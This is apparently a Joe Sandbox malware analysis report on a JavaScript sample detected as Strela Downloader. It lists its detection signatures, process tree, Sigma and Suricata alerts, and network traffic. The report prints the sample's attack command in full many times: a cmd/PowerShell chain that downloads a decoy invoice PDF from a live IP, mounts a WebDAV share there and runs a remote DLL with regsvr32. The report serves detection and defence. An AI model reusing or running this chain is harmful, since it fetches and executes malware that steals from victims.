Edit tour

Windows Analysis Report
18559217651387524988.js

Overview

General Information

Sample name:	18559217651387524988.js
Analysis ID:	1587602
MD5:	1231a7f47728c93495751407f8710723
SHA1:	6652307fb48ae2957efcdd06fbfd185f82e2262f
SHA256:	31a3261150b6d1e51a1f49f1732622a4397c7995e99a8c8c92dd986fb227a0b2
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7708 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18559217651387524988.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7796 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7848 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 8036 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7332 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1308 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1640,i,13619659452402158311,8467042850508532389,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 8052 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 8088 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5900 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7708	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7796, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7848, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7796, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7848, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18559217651387524988.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18559217651387524988.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18559217651387524988.js", ProcessId: 7708, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 8088, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49706

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18559217651387524988.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7708, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll, ProcessId: 7796, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18559217651387524988.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7708, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll, ProcessId: 7796, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18559217651387524988.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7708, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll, ProcessId: 7796, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18559217651387524988.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7708, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll, ProcessId: 7796, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18559217651387524988.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7708, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll, ProcessId: 7796, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18559217651387524988.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18559217651387524988.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18559217651387524988.js", ProcessId: 7708, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7796, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7848, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8052, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8088, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5900, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8052, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8088, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18559217651387524988.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7708, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll, ProcessId: 7796, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T15:33:04.102892+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T15:33:01.331255+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 18559217651387524988.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 18559217651387524988.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49706 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 14:33:01 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: global traffic

TCP traffic: 192.168.2.8:49706 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49705 -> 193.143.1.205:80

Source: global traffic

